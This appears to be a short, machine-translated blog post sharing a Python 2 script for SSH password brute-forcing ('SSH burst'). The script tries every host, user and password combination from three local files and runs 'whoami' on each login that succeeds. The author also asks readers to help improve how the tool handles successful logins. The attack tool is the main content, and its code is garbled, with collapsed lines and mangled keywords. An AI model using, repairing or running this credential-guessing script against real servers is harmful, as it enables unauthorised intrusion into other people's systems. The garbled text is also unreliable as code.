Recently saw a copy of the port in the dark cloud: in order to exercise themselves, follow the port to write the script
#!/usr/local/bin/python#-*-coding:utf-8-*-__author__ = ' Yangxiaodi ' from multiprocessing import Poolfrom pexpect Impor T pxsshimport sysreload (SYS) sys.setdefaultencoding ("Utf-8") datas=[]def Connect (): cmd = ' whoami ' for data in datas : host = Data.split (': ', 2) [0] user = data.split (': ', 2) [1] Password = data.split (': ', 2) [2] Try: s = pxssh.pxssh () s.login (Host,user,password) s.sendline (cmd) s.prompt () print ' [+] ssh host: ' +host+ ' User: ' +user+ ' Password: ' +password+ ' Execute command: ' +s.before except:print u ' Error [+] SSH host: ' +host+ ' User: ' +user+ ' password: ' +passworddef read_file (filepath): F = open (filepath). ReadLines () re Turn Fdef Get_host_user_pass (): host = Read_file (' Host.txt ') for h in host:h = H.replace (' \ n ', ') use r = Read_file (' user.txt ') for u in user:u = U.replace (' \ n ', ') passs = Read_file (' pass.txt ') For PAS in PAsss:pas = Pas.replace (' \ n ', ') datas.append (H + ': ' +u+ ': ' +pas ') return trueresu = []get_ho St_user_pass () p = Pool () resu.append (P.apply_async (connect,args= ())) P.close () P.join () for res in Resu:print Res.get () print ' All subprocesses done. '
There are three files locally user.txt, host.txt, pass.txt
This time not in the script to judge, encountered success or continue to blasting the success of the IP, the reason is to use a multi-process, and then do not change, stay behind to solve. (Anyone help?)
SSH burst (Python script)